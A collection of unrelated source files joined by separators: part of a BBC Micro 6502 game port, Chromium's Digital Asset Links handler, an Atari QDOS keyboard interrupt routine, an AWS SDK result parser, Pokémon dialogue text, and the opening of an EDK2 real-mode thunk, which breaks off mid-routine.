sta write_beeb_data+2
rts
}
.rotate_column_buffer
{
\\ Shift all pixels left
ldx #0
.loop
lda column_buffer, X
asl a
and #&aa ; mask out right pixel
sta column_buffer, X
inx
cpx #column_size
bcc loop
rts
}
.copy_column_buffer
\{
\\ Copy column buffer to screen
ldy #column_size/8
.copy_col_row_loop
ldx #7
.copy_col_char_loop
lda column_buffer, X
.write_beeb_data
sta &3000, X
dex
bpl copy_col_char_loop
\\ Increment to next row
clc
lda copy_col_char_loop+1
adc #8
sta copy_col_char_loop+1
\\ won't overflow
clc
lda write_beeb_data+1
adc #LO(row_stride)
sta write_beeb_data+1
lda write_beeb_data+2
adc #HI(row_stride)
cmp #HI(screen_top)
bcc row_ok
sbc #HI(screen_size)
.row_ok
sta write_beeb_data+2
dey
bne copy_col_row_loop
rts
\}
\\ A=from page, X=to page, Y=num pages
.move_pages
{
STA from_page+2
STA wipe_page+2
STX to_page+2
LDX #0
.loop
.from_page
LDA &FF00, X
.to_page
STA &FF00, X
lda #0
.wipe_page
sta &ff00, X
INX
BNE loop
INC from_page+2
INC to_page+2
INC wipe_page+2
DEY
BNE loop
RTS
}
\\ A=sprite no, X=column X, Y=line
.plot_sprite
{
sta sprite_no
jsr calc_sprite_write_ptr
\\ Calculate sprite read address
ldx sprite_no
lda sprite_addr_LO, X
sta load_sprite_byte+1
lda sprite_addr_HI, X
sta load_sprite_byte+2
clc
ldx #0
lda #sprite_height
sta y_count
.y_loop
lda #sprite_width_bytes
sta x_count
lda write_ptr
sta read_ptr
lda write_ptr+1
sta read_ptr+1
.x_loop
stx sprite_idx
.load_sprite_byte
lda &ffff, X
sta sprite_byte
\\ Top nibble
lsr a:lsr a:lsr a:lsr a
tax
\\ Load screen byte
ldy #0
lda (read_ptr), Y
\\ Mask
and map_c64_nibble_to_mask, x
\\ OR in sprite
ora map_c64_nibble_to_mode2, x
\\ Store screen byte
sta (read_ptr), Y
\\ Next column
{
clc
lda read_ptr
adc #8
sta read_ptr
lda read_ptr+1
adc #0
cmp #HI(screen_top)
bcc read_ok
sbc #HI(screen_size)
.read_ok
sta read_ptr+1
}
\\ Bottom nibble
lda sprite_byte
and #&f
tax
\\ Load screen byte
lda (read_ptr), Y
\\ Mask
and map_c64_nibble_to_mask, x
\\ OR in sprite
ora map_c64_nibble_to_mode2, x
\\ Store screen byte
sta (read_ptr), Y
\\ Next column
{
clc
lda read_ptr
adc #8
sta read_ptr
lda read_ptr+1
adc #0
cmp #HI(screen_top)
bcc read_ok
sbc #HI(screen_size)
.read_ok
sta read_ptr+1
}
\\ Next sprite byte
ldx sprite_idx
inx
dec x_count
bne x_loop
\\ Next line
lda write_ptr
and #7
cmp #7
beq increment_row
inc write_ptr
jmp next
.increment_row
{
clc
lda write_ptr
adc #LO(640-7)
sta write_ptr
lda write_ptr+1
adc #HI(640-7)
cmp #HI(screen_top)
bcc inc_ok
sbc #HI(screen_size)
.inc_ok
sta write_ptr+1
}
.next
dec y_count
beq done
jmp y_loop
.done
rts
}
.calc_sprite_write_ptr
{
\\ X*8
clc
lda corner_addr
adc mult8_LO, X
sta write_ptr
lda corner_addr+1
adc mult8_HI, X
sta write_ptr+1
\\ Add y MOD 7
tya
and #7
adc write_ptr
sta write_ptr
\\ Add (y DIV 8)*640
tya
lsr a:lsr a:lsr a
tax
clc
lda write_ptr
adc mult640_LO, X
sta write_ptr
lda write_ptr+1
adc mult640_HI, X
\\ Check for wrap
cmp #HI(screen_top)
bcc write_ok
sbc #HI(screen_size)
.write_ok
sta write_ptr+1
rts
}
.restore_background
{
lda char_col
and #1
; eor #1 ; the other buffer!
asl a
tax
lda bg_ptrs+1, X
beq return ; nothing to see here
sta write_ptr+1
lda bg_ptrs, X
sta write_ptr
\\ Which stash?
lda char_col
and #1
; eor #1 ; the other buffer!
clc
adc #HI(background_stash_0)
sta stash_addr+2
\\ Retore 6*21=126 bytes of screen
ldx #0
ldy #0
lda #sprite_height
sta y_count
.y_loop
lda #sprite_width_bytes*2 ; for MODE 2
sta x_count
lda write_ptr
sta read_ptr
lda write_ptr+1
sta read_ptr+1
.x_loop
.stash_addr
lda background_stash_0, X
sta (read_ptr), Y
\\ Next column
{
clc
lda read_ptr
adc #8
sta read_ptr
lda read_ptr+1
adc #0
cmp #HI(screen_top)
bcc read_ok
sbc #HI(screen_size)
.read_ok
sta read_ptr+1
}
\\ Next byte
inx
dec x_count
bne x_loop
\\ Next line
lda write_ptr
and #7
cmp #7
beq increment_row
inc write_ptr
jmp next
.increment_row
{
clc
lda write_ptr
adc #LO(640-7)
sta write_ptr
lda write_ptr+1
adc #HI(640-7)
cmp #HI(screen_top)
bcc inc_ok
sbc #HI(screen_size)
.inc_ok
sta write_ptr+1
}
.next
dec y_count
bne y_loop
.return
rts
}
.stash_background
{
jsr calc_sprite_write_ptr
\\ Remember what address we saved
lda char_col
and #1
asl a
tax
lda write_ptr
sta bg_ptrs, X
lda write_ptr+1
sta bg_ptrs+1, X
\\ Which stash?
lda char_col
and #1
clc
adc #HI(background_stash_0)
sta stash_addr+2
\\ Store 6*21=126 bytes of screen
ldx #0
ldy #0
lda #sprite_height
sta y_count
.y_loop
lda #sprite_width_bytes*2 ; for MODE 2
sta x_count
lda write_ptr
sta read_ptr
lda write_ptr+1
sta read_ptr+1
.x_loop
lda (read_ptr), Y
.stash_addr
sta background_stash_0, X
\\ Next column
{
clc
lda read_ptr
adc #8
sta read_ptr
lda read_ptr+1
adc #0
cmp #HI(screen_top)
bcc read_ok
sbc #HI(screen_size)
.read_ok
sta read_ptr+1
}
\\ Next byte
inx
dec x_count
bne x_loop
\\ Next line
lda write_ptr
and #7
cmp #7
beq increment_row
inc write_ptr
jmp next
.increment_row
{
clc
lda write_ptr
adc #LO(640-7)
sta write_ptr
lda write_ptr+1
adc #HI(640-7)
cmp #HI(screen_top)
bcc inc_ok
sbc #HI(screen_size)
.inc_ok
sta write_ptr+1
}
.next
dec y_count
bne y_loop
rts
}
.read_keyboard
{
\\ Read keyboard
lda #&79
ldx #KEY_UP EOR &80
jsr osbyte
txa
bpl not_up
\\ Up
dec y_pos
dec y_pos
.not_up
lda #&79
ldx #KEY_DOWN EOR &80
jsr osbyte
txa
bpl not_down
\\ Down
inc y_pos
inc y_pos
.not_down
lda #&79
ldx #KEY_LEFT EOR &80
jsr osbyte
txa
bpl not_left
\\ Left
dec x_pos
.not_left
lda #&79
ldx #KEY_RIGHT EOR &80
jsr osbyte
txa
bpl not_right
\\ Right
inc x_pos
.not_right
rts
}
.code_end
\ ******************************************************************
\ * DATA
\ ******************************************************************
.data_start
.bank0_filename EQUS "Bank0",13
.osfile_params
.osfile_nameaddr
EQUW bank0_filename
; file load address
.osfile_loadaddr
EQUD &4000
; file exec address
.osfile_execaddr
EQUD 0
; start address or length
.osfile_length
EQUD 0
; end address of attributes
.osfile_endaddr
EQUD 0
.mult8_LO
FOR n,0,79,1
EQUB LO(n*8)
NEXT
.mult8_HI
FOR n,0,79,1
EQUB HI(n*8)
NEXT
.mult640_LO
FOR n,0,31,1
EQUB LO(n*640)
NEXT
.mult640_HI
FOR n,0,31,1
EQUB HI(n*640)
NEXT
.map_c64_nibble_to_mask
FOR p,0,15,1
C=(p>>3)AND1:c=(p>>2)AND1:D=(p>>1)AND1:d=(p>>0)AND1
p2=(C*2)+c:p3=(D*2)+d
IF p2=0
lp=&AA
ELSE
lp=0
ENDIF
IF p3=0
rp=&55
ELSE
rp=0
ENDIF
EQUB lp OR rp
\\ 0->transparent
\\ 1->black
\\ 2->sprite colour
\\ 3->white
NEXT
.map_c64_nibble_to_mode2
FOR p,0,15,1
C=(p>>3)AND1:c=(p>>2)AND1:D=(p>>1)AND1:d=(p>>0)AND1
p2=(C*2)+c:p3=(D*2)+d
IF p2=3
lp=SPRITE_PIX_3 AND MODE2_PIXEL_LEFT_MASK
ELIF p2=2
lp=SPRITE_PIX_2 AND MODE2_PIXEL_LEFT_MASK
ELIF p2=1
lp=SPRITE_PIX_1 AND MODE2_PIXEL_LEFT_MASK
ELSE
lp=SPRITE_PIX_0 AND MODE2_PIXEL_LEFT_MASK
ENDIF
IF p3=3
rp=SPRITE_PIX_3 AND MODE2_PIXEL_RIGHT_MASK
ELIF p3=2
rp=SPRITE_PIX_2 AND MODE2_PIXEL_RIGHT_MASK
ELIF p3=1
rp=SPRITE_PIX_1 AND MODE2_PIXEL_RIGHT_MASK
ELSE
rp=SPRITE_PIX_0 AND MODE2_PIXEL_RIGHT_MASK
ENDIF
EQUB lp OR rp
\\ 0->transparent
\\ 1->black
\\ 2->sprite colour
\\ 3->white
NEXT
PAGE_ALIGN
.background_stash_0
skip 126
PAGE_ALIGN
.background_stash_1
skip 126
PAGE_ALIGN
.map_c64_to_beeb_p0
FOR p,0,255,1
A=(p>>7)AND1:a=(p>>6)AND1:B=(p>>5)AND1:b=(p>>4)AND1
C=(p>>3)AND1:c=(p>>2)AND1:D=(p>>1)AND1:d=(p>>0)AND1
p0=(A*2)+a:p1=(B*2)+b:p2=(C*2)+c:p3=(D*2)+d
BG_PIXEL p0
NEXT
PAGE_ALIGN
.map_c64_to_beeb_p1
FOR p,0,255,1
A=(p>>7)AND1:a=(p>>6)AND1:B=(p>>5)AND1:b=(p>>4)AND1
C=(p>>3)AND1:c=(p>>2)AND1:D=(p>>1)AND1:d=(p>>0)AND1
p0=(A*2)+a:p1=(B*2)+b:p2=(C*2)+c:p3=(D*2)+d
BG_PIXEL p1
NEXT
PAGE_ALIGN
.map_c64_to_beeb_p2
FOR p,0,255,1
A=(p>>7)AND1:a=(p>>6)AND1:B=(p>>5)AND1:b=(p>>4)AND1
C=(p>>3)AND1:c=(p>>2)AND1:D=(p>>1)AND1:d=(p>>0)AND1
p0=(A*2)+a:p1=(B*2)+b:p2=(C*2)+c:p3=(D*2)+d
BG_PIXEL p2
NEXT
PAGE_ALIGN
.map_c64_to_beeb_p3
FOR p,0,255,1
A=(p>>7)AND1:a=(p>>6)AND1:B=(p>>5)AND1:b=(p>>4)AND1
C=(p>>3)AND1:c=(p>>2)AND1:D=(p>>1)AND1:d=(p>>0)AND1
p0=(A*2)+a:p1=(B*2)+b:p2=(C*2)+c:p3=(D*2)+d
BG_PIXEL p3
NEXT
PAGE_ALIGN
.sprite_addr_LO
FOR n,0,sprite_total-1,1
EQUB LO(sprite_data + n*sprite_stride)
NEXT
.sprite_addr_HI
FOR n,0,sprite_total-1,1
EQUB HI(sprite_data + n*sprite_stride)
NEXT
.data_end
\ ******************************************************************
\ * End address to be saved
\ ******************************************************************
.end
\ ******************************************************************
\ * Save the code
\ ******************************************************************
SAVE "Edge", start, end
\ ******************************************************************
\ * Space reserved for runtime buffers not preinitialised
\ ******************************************************************
.bss_start
.bss_end
\ ******************************************************************
\ * Memory Info
\ ******************************************************************
PRINT "------"
PRINT "EDGE GRINDER"
PRINT "------"
PRINT "CODE size =", ~code_end-code_start
PRINT "DATA size =",~data_end-data_start
PRINT "BSS size =",~bss_end-bss_start
PRINT "------"
PRINT "HIGH WATERMARK =", ~P%
PRINT "FREE =", ~screen_start-P%
PRINT "------"
\ ******************************************************************
\ * SWRAM DATA BANK
\ ******************************************************************
CLEAR 0,&FFFF
ORG &8000
GUARD &C000
.bank0_start
\\ Characters are 4x8 wide pixels and there are 256 in total = 2048 bytes (8 bytes each @ 2bpp) (tiles.chr)
PAGE_ALIGN
.char_data
INCBIN "data/tiles.chr.bin"
PRINT "CHARACTER data =", ~char_data
\\ Each tile is made up of 4x4 characters and there are 211 in total = 3376 bytes (16 bytes each) (tiles.til)
PAGE_ALIGN
.tile_data
INCBIN "data/tiles.til.bin"
PRINT "TILE data =", ~tile_data
\\ Map is 5 tiles high vertically and 256 tiles wide = 1280 bytes (tiles.map)
PAGE_ALIGN
.map_data
INCBIN "data/tiles.map.bin"
PRINT "MAP data =", ~map_data
\\ Map2 is 5 tiles high vertically and 46 tiles wide = 230 bytes (tiles2.map)
\\ Map2 follows on from Map1 data - it's not a separate level!
.map2_data
INCBIN "data/tiles2.map.bin"
PRINT "MAP2 data =", ~map2_data
PAGE_ALIGN
.sprite_data
INCBIN "data/sprites.spr.bin"
PRINT "SPRITE data =", ~sprite_data
.bank0_end
SAVE "BANK0", bank0_start, bank0_end
PRINT "------"
PRINT "BANK 0"
PRINT "------"
PRINT "DATA size =",~bank0_end-bank0_start
PRINT "------"
PRINT "HIGH WATERMARK =", ~P%
PRINT "FREE =", ~&C000-P%
PRINT "------"
\ ******************************************************************
\ * Any other files for the disc
\ ******************************************************************
|
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/digital_asset_links/digital_asset_links_handler.h"
#include <vector>
#include "base/bind.h"
#include "base/json/json_reader.h"
#include "base/logging.h"
#include "base/strings/stringprintf.h"
#include "base/values.h"
#include "content/public/browser/web_contents.h"
#include "net/http/http_response_headers.h"
#include "net/http/http_status_code.h"
#include "net/http/http_util.h"
#include "net/traffic_annotation/network_traffic_annotation.h"
#include "services/network/public/cpp/shared_url_loader_factory.h"
#include "services/network/public/cpp/simple_url_loader.h"
#include "url/origin.h"
namespace {
// In some cases we get a network change while fetching the digital asset
// links file. See https://crbug.com/987329.
const int kNumNetworkRetries = 1;
// Location on a website where the asset links file can be found, see
// https://developers.google.com/digital-asset-links/v1/getting-started.
const char kAssetLinksAbsolutePath[] = ".well-known/assetlinks.json";
GURL GetUrlForAssetLinks(const url::Origin& origin) {
return origin.GetURL().Resolve(kAssetLinksAbsolutePath);
}
// An example, well formed asset links file for reference:
// [{
// "relation": ["delegate_permission/common.handle_all_urls"],
// "target": {
// "namespace": "android_app",
// "package_name": "com.peter.trustedpetersactivity",
// "sha256_cert_fingerprints": [
// "FA:2A:03: ... :9D"
// ]
// }
// }, {
// "relation": ["delegate_permission/common.handle_all_urls"],
// "target": {
// "namespace": "android_app",
// "package_name": "com.example.firstapp",
// "sha256_cert_fingerprints": [
// "64:2F:D4: ... :C1"
// ]
// }
// }]
bool StatementHasMatchingRelationship(const base::Value& statement,
const std::string& target_relation) {
const base::Value* relations =
statement.FindKeyOfType("relation", base::Value::Type::LIST);
if (!relations)
return false;
for (const auto& relation : relations->GetList()) {
if (relation.is_string() && relation.GetString() == target_relation)
return true;
}
return false;
}
bool StatementHasMatchingTargetValue(const base::Value& statement,
const std::string& target_key,
const std::string& target_value) {
const base::Value* package = statement.FindPathOfType(
{"target", target_key}, base::Value::Type::STRING);
return package && package->GetString() == target_value;
}
bool StatementHasMatchingFingerprint(const base::Value& statement,
const std::string& target_fingerprint) {
const base::Value* fingerprints = statement.FindPathOfType(
{"target", "sha256_cert_fingerprints"}, base::Value::Type::LIST);
if (!fingerprints)
return false;
for (const auto& fingerprint : fingerprints->GetList()) {
if (fingerprint.is_string() &&
fingerprint.GetString() == target_fingerprint) {
return true;
}
}
return false;
}
// Shows a warning message in the DevTools console.
void AddMessageToConsole(content::WebContents* web_contents,
const std::string& message) {
if (web_contents) {
web_contents->GetMainFrame()->AddMessageToConsole(
blink::mojom::ConsoleMessageLevel::kWarning, message);
return;
}
// Fallback to LOG.
LOG(WARNING) << message;
}
} // namespace
namespace digital_asset_links {
const char kDigitalAssetLinksCheckResponseKeyLinked[] = "linked";
DigitalAssetLinksHandler::DigitalAssetLinksHandler(
scoped_refptr<network::SharedURLLoaderFactory> factory,
content::WebContents* web_contents)
: content::WebContentsObserver(web_contents),
shared_url_loader_factory_(std::move(factory)) {}
DigitalAssetLinksHandler::~DigitalAssetLinksHandler() = default;
void DigitalAssetLinksHandler::OnURLLoadComplete(
std::string relationship,
base::Optional<std::string> fingerprint,
std::map<std::string, std::string> target_values,
std::unique_ptr<std::string> response_body) {
int response_code = -1;
if (url_loader_->ResponseInfo() && url_loader_->ResponseInfo()->headers)
response_code = url_loader_->ResponseInfo()->headers->response_code();
if (!response_body || response_code != net::HTTP_OK) {
int net_error = url_loader_->NetError();
if (net_error == net::ERR_INTERNET_DISCONNECTED ||
net_error == net::ERR_NAME_NOT_RESOLVED) {
AddMessageToConsole(web_contents(),
"Digital Asset Links connection failed.");
std::move(callback_).Run(RelationshipCheckResult::kNoConnection);
return;
}
AddMessageToConsole(
web_contents(),
base::StringPrintf(
"Digital Asset Links endpoint responded with code %d.",
response_code));
std::move(callback_).Run(RelationshipCheckResult::kFailure);
return;
}
data_decoder::DataDecoder::ParseJsonIsolated(
*response_body,
base::BindOnce(&DigitalAssetLinksHandler::OnJSONParseResult,
weak_ptr_factory_.GetWeakPtr(), std::move(relationship),
std::move(fingerprint), std::move(target_values)));
url_loader_.reset(nullptr);
}
void DigitalAssetLinksHandler::OnJSONParseResult(
std::string relationship,
base::Optional<std::string> fingerprint,
std::map<std::string, std::string> target_values,
data_decoder::DataDecoder::ValueOrError result) {
if (!result.value) {
AddMessageToConsole(
web_contents(),
"Digital Asset Links response parsing failed with message: " +
*result.error);
std::move(callback_).Run(RelationshipCheckResult::kFailure);
return;
}
auto& statement_list = *result.value;
if (!statement_list.is_list()) {
std::move(callback_).Run(RelationshipCheckResult::kFailure);
AddMessageToConsole(web_contents(), "Statement List is not a list.");
return;
}
// We only output individual statement failures if none match.
std::vector<std::string> failures;
for (const auto& statement : statement_list.GetList()) {
if (!statement.is_dict()) {
failures.push_back("Statement is not a dictionary.");
continue;
}
if (!StatementHasMatchingRelationship(statement, relationship)) {
failures.push_back("Statement failure matching relationship.");
continue;
}
if (fingerprint &&
!StatementHasMatchingFingerprint(statement, *fingerprint)) {
failures.push_back("Statement failure matching fingerprint.");
continue;
}
bool failed_target_check = false;
for (const auto& key_value : target_values) {
if (!StatementHasMatchingTargetValue(statement, key_value.first,
key_value.second)) {
failures.push_back("Statement failure matching " + key_value.first +
".");
failed_target_check = true;
break;
}
}
if (failed_target_check)
continue;
std::move(callback_).Run(RelationshipCheckResult::kSuccess);
return;
}
for (const auto& failure_reason : failures)
AddMessageToConsole(web_contents(), failure_reason);
std::move(callback_).Run(RelationshipCheckResult::kFailure);
}
bool DigitalAssetLinksHandler::CheckDigitalAssetLinkRelationshipForAndroidApp(
const std::string& web_domain,
const std::string& relationship,
const std::string& fingerprint,
const std::string& package,
RelationshipCheckResultCallback callback) {
// TODO(rayankans): Should we also check the namespace here?
return CheckDigitalAssetLinkRelationship(
web_domain, relationship, fingerprint, {{"package_name", package}},
std::move(callback));
}
bool DigitalAssetLinksHandler::CheckDigitalAssetLinkRelationshipForWebApk(
const std::string& web_domain,
const std::string& manifest_url,
RelationshipCheckResultCallback callback) {
return CheckDigitalAssetLinkRelationship(
web_domain, "delegate_permission/common.query_webapk", base::nullopt,
{{"namespace", "web"}, {"site", manifest_url}}, std::move(callback));
}
bool DigitalAssetLinksHandler::CheckDigitalAssetLinkRelationship(
const std::string& web_domain,
const std::string& relationship,
const base::Optional<std::string>& fingerprint,
const std::map<std::string, std::string>& target_values,
RelationshipCheckResultCallback callback) {
// TODO(peconn): Propagate the use of url::Origin backwards to clients.
GURL request_url = GetUrlForAssetLinks(url::Origin::Create(GURL(web_domain)));
if (!request_url.is_valid())
return false;
// Resetting both the callback and SimpleURLLoader here to ensure
// that any previous requests will never get a
// OnURLLoadComplete. This effectively cancels any checks that was
// done over this handler.
callback_ = std::move(callback);
net::NetworkTrafficAnnotationTag traffic_annotation =
net::DefineNetworkTrafficAnnotation("digital_asset_links", R"(
semantics {
sender: "Digital Asset Links Handler"
description:
"Digital Asset Links APIs allows any caller to check pre declared"
"relationships between two assets which can be either web domains"
"or native applications. This requests checks for a specific "
"relationship declared by a web site with an Android application"
trigger:
"When the related application makes a claim to have the queried"
"relationship with the web domain"
data: "None"
destination: WEBSITE
}
policy {
cookies_allowed: YES
cookies_store: "user"
setting: "Not user controlled. But the verification is a trusted API"
"that doesn't use user data"
policy_exception_justification:
"Not implemented, considered not useful as no content is being "
"uploaded; this request merely downloads the resources on the web."
})");
auto request = std::make_unique<network::ResourceRequest>();
request->url = request_url;
// Exclude credentials (specifically client certs) from the request.
request->credentials_mode =
network::mojom::CredentialsMode::kOmitBug_775438_Workaround;
url_loader_ =
network::SimpleURLLoader::Create(std::move(request), traffic_annotation);
url_loader_->SetRetryOptions(
kNumNetworkRetries,
network::SimpleURLLoader::RetryMode::RETRY_ON_NETWORK_CHANGE);
url_loader_->SetTimeoutDuration(timeout_duration_);
url_loader_->DownloadToStringOfUnboundedSizeUntilCrashAndDie(
shared_url_loader_factory_.get(),
base::BindOnce(&DigitalAssetLinksHandler::OnURLLoadComplete,
weak_ptr_factory_.GetWeakPtr(), relationship, fingerprint,
target_values));
return true;
}
void DigitalAssetLinksHandler::SetTimeoutDuration(
base::TimeDelta timeout_duration) {
timeout_duration_ = timeout_duration;
}
} // namespace digital_asset_links
|
; Atari QDOS KBD interrupt routine 1988 Tony Tebby QJUMP
section kbd
xdef kbd_int
xdef kbd_mint
xref ioq_pbyt
include dev8_keys_sys
include dev8_keys_con
include dev8_keys_atari
include dev8_keys_qu
include dev8_smsq_kbd_keys
include dev8_smsq_smsq_base_keys
include dev8_mac_assert
regent reg d0/d1/d2/a0/a1
regexi reg d0/d1/d2/a0/a1/a2/a3
kbd_int
movem.l regent,-(sp) ; a2/a3 already safe
move.l sms.sysb,a1
move.l sys_clnk(a1),a1
kbi_rdo
bclr #mfp..aci,mfp_acs ; clear in service
move.b at_kbdc,d0 ; control reg
bge.l kbi_midi ; ... no interrupt
btst #acia..rr,d0 ; read ready?
beq.l kbi_midi ; ... no, try midi
move.b at_kbdd,d1 ; get byte code
and.b #acia.err,d0 ; any errors
bne.s kbi_err ; ... yes
tst.b kb_err(a3) ; error handling?
bne.s kbi_ster ; ... yes
move.l kb_padd(a3),d0 ; processing packet
bne.l kbi_pack ; ... yes
moveq #$7f,d0
and.b d1,d0
cmp.b #kbk.hit,d0 ; key?
bge.s kbi_spec ; ... no
lea kb_qu(a3),a2 ; now put code into buffer
jsr ioq_pbyt
beq.l kbi_done
kbi_err
clr.l kb_padd(a3) ; not packet
clr.w kb_lcod(a3) ; no last character
clr.b kb_arep(a3) ; not auto repeated
assert kb_hit+1,kb_do
clr.w kb_hit(a3) ; no button
move.l kb_qu+qu_nexti(a3),kb_qu+qu_nexto(a3) ; clear queue
kbi_ster
move.b #kb.errw,kb_err(a3) ; keep on erroring until wait timed out
bra.l kbi_done
kbi_spec
cmp.b #kbk.do,d0 ; do button
bgt.s kbi_head ; ... no, packet header
moveq #%11,d2
and.b pt_bpoll(a1),d2 ; current button status
sub.b #kbk.hit,d0
tst.b d1 ; up or down?
bpl.s kbi_bdown
bclr d0,d2
bra.s kbi_bcheck
kbi_bdown
bset d0,d2
kbi_bcheck
cmp.b #%11,d2 ; both buttons?
bne.s kbi_bset ; ... no
st kb_b3(a3) ; flag button 3
bra.l kbi_done
kbi_bset
move.b d2,pt_bpoll(a1) ; this is new button
beq.l kbi_done ; ... none
clr.b pt_lstuf(a1) ; it isn't a stuff
bra.s kbi_done
kbi_head
moveq #kbh.mrmk,d0 ; is it mouse relative movement?
and.b d1,d0
cmp.b #kbh.mrel,d0
beq.s kbi_mhead ; ... yes
moveq #kbh.jymk,d0 ; ... no, try joystick
and.b d1,d0
cmp.b #kbh.joy0,d0
bne.s kbi_done ; ... no
moveq #1,d0 ; one parameter
bra.s kbi_shead
kbi_mhead
moveq #2,d0
kbi_shead
move.b d1,kb_phead(a3) ; set header
move.b d0,kb_pcnt(a3) ; count
lea kb_pbuf(a3),a0
move.l a0,kb_padd(a3) ; address
bra.s kbi_done
kbi_pack
move.l d0,a0
move.b d1,(a0)+ ; set byte read
move.l a0,kb_padd(a3)
subq.b #1,kb_pcnt(a3) ; any more?
bgt.s kbi_done ; ... yes
cmp.b #kbh.joy0,kb_phead(a3) ; joystick or mouse?
blo.s kbi_smse ; ... mouse
beq.s kbi_endp ; ... joystick 0
rol.b #1,d1 ; scrumple data byte
and.w #$001f,d1 ; 5 bits
move.b kbi_jytb(pc,d1.w),kb_joyst(a3) ; joystick status
bra.s kbi_endp
kbi_smse
move.b -(a0),d1
ext.w d1
add.w d1,pt_yinc(a1) ; y distance moved
move.w d1,d0
bpl.s kbi_smsey
neg.w d0
kbi_smsey
move.b -(a0),d1
ext.w d1
add.w d1,pt_xinc(a1)
tst.w d1
bpl.s kbi_smseck
neg.w d1
kbi_smseck
cmp.w d1,d0
bge.s kbi_smseinc
move.w d1,d0
kbi_smseinc
add.w d0,pt_xicnt(a1) ; mouse interrupts
kbi_endp
clr.l kb_padd(a3)
kbi_done
move.b at_midic,d0 ; midi control reg
bpl kbi_rdo ; none - redo kbd
kbi_mdo
move.l kbd_midi(a3),a2
move.l kbd_midl(a3),a3 ; midi interrupt
jsr (a2)
bra kbi_rdo
kbi_midi
move.b at_midic,d0 ; midi control reg
bmi.s kbi_mdo ; do midi interrupt
kbi_rte
movem.l (sp)+,regexi ; restore
rte
kbd_mint
move.b at_midid,kbd_midb(a3) ; midi byte received
rts
fire equ %01000000
up equ %00000100
down equ %10000000
left equ %00000010
right equ %00010000
kbi_jytb
dc.b 0,fire
dc.b up,up+fire
dc.b down,down+fire
dc.b down+up,down+fire+up
dc.b left,left+fire
dc.b left+up,left+up+fire
dc.b left+down,left+down+fire
dc.b left+down+up,left+down+fire+up
dc.b right,right+fire
dc.b right+up,right+up+fire
dc.b right+down,right+down+fire
dc.b right+down+up,right+down+fire+up
dc.b left+right,left+right+fire
dc.b left+right+up,left+right+up+fire
dc.b left+right+down,left+right+down+fire
dc.b left+right+down+up,left+right+down+fire+up
end
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/inspector/model/PreviewAgentsResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::Inspector::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
PreviewAgentsResult::PreviewAgentsResult()
{
}
PreviewAgentsResult::PreviewAgentsResult(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
*this = result;
}
PreviewAgentsResult& PreviewAgentsResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
const JsonValue& jsonValue = result.GetPayload();
if(jsonValue.ValueExists("agentPreviews"))
{
Array<JsonValue> agentPreviewsJsonList = jsonValue.GetArray("agentPreviews");
for(unsigned agentPreviewsIndex = 0; agentPreviewsIndex < agentPreviewsJsonList.GetLength(); ++agentPreviewsIndex)
{
m_agentPreviews.push_back(agentPreviewsJsonList[agentPreviewsIndex].AsObject());
}
}
if(jsonValue.ValueExists("nextToken"))
{
m_nextToken = jsonValue.GetString("nextToken");
}
return *this;
}
|
_CopycatsHouse1FText1::
text "My daughter is so"
line "self-centered."
cont "She only has a"
cont "few friends."
done
_CopycatsHouse1FText2::
text "My daughter likes"
line "to mimic people."
para "Her mimicry has"
line "earned her the"
cont "nickname COPYCAT"
cont "around here!"
done
_CopycatsHouse1FText3::
text "CHANSEY: Chaan!"
line "Sii!@"
text_end
|
; Copyright (c) 2004 - 2011, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; Thunk.asm
;
; Abstract:
;
; Real mode thunk
;
;------------------------------------------------------------------------------
EXTERNDEF m16Start:BYTE
EXTERNDEF m16Size:WORD
EXTERNDEF mThunk16Attr:WORD
EXTERNDEF m16Gdt:WORD
EXTERNDEF m16GdtrBase:WORD
EXTERNDEF mTransition:WORD
THUNK_ATTRIBUTE_DISABLE_A20_MASK_INT_15 EQU 2
THUNK_ATTRIBUTE_DISABLE_A20_MASK_KBD_CTRL EQU 4
IA32_REGS STRUC 4t
_EDI DD ?
_ESI DD ?
_EBP DD ?
_ESP DD ?
_EBX DD ?
_EDX DD ?
_ECX DD ?
_EAX DD ?
_DS DW ?
_ES DW ?
_FS DW ?
_GS DW ?
_EFLAGS DQ ?
_EIP DD ?
_CS DW ?
_SS DW ?
IA32_REGS ENDS
.const
m16Size DW InternalAsmThunk16 - m16Start
mThunk16Attr DW _ThunkAttr - m16Start
m16Gdt DW _NullSeg - m16Start
m16GdtrBase DW _16GdtrBase - m16Start
mTransition DW _EntryPoint - m16Start
.code
m16Start LABEL BYTE
SavedGdt LABEL FWORD
DW ?
DQ ?
;------------------------------------------------------------------------------
; _BackFromUserCode() takes control in real mode after 'retf' has been executed
; by user code. It will be shadowed to somewhere in memory below 1MB.
;------------------------------------------------------------------------------
_BackFromUserCode PROC
;
; The order of saved registers on the stack matches the order they appears
; in IA32_REGS structure. This facilitates wrapper function to extract them
; into that structure.
;
; Some instructions for manipulation of segment registers have to be written
; in opcode since 64-bit MASM prevents accesses to those registers.
;
DB 16h ; push ss
DB 0eh ; push cs
DB 66h
call @Base ; push eip
@Base:
DB 66h
push 0 ; reserved high order 32 bits of EFlags
pushf ; pushfd actually
cli ; disable interrupts
push gs
push fs
DB 6 ; push es
DB 1eh ; push ds
DB 66h, 60h ; pushad
